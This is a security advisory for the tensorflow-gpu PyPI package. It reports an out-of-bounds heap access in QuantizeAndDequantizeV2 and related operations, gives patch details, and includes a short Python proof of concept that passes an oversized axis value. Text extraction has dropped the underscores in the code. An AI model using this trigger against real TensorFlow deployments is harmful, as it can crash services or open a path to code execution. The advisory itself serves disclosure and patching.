PT-2026-53619 · Pypi · Tensorflow-Gpu

Published

2026-06-29

·

Updated

2026-06-29

CVSS v3.1

9.8

Critical

VectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Impact

Attackers using Tensorflow can exploit the vulnerability. They can access heap memory which is not in the control of user, leading to a crash or RCE. When axis is larger than the dim of input, c->Dim(input,axis) goes out of bound. Same problem occurs in the QuantizeAndDequantizeV2/V3/V4/V4Grad operations too.
python
import tensorflow as tf
@tf.function
def test():
  tf.raw ops.QuantizeAndDequantizeV2(input=[2.5],
  								  input min=[1.0],
  								  input max=[10.0],
  								  signed input=True,
  								  num bits=1,
  								  range given=True,
  								  round mode='HALF TO EVEN',
  								  narrow range=True,
  								  axis=0x7fffffff)
 test()

Patches

We have patched the issue in GitHub commit 7b174a0f2e40ff3f3aa957aecddfd5aaae35eccb.
The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Related Identifiers

PYSEC-2026-550

Affected Products

Tensorflow-Gpu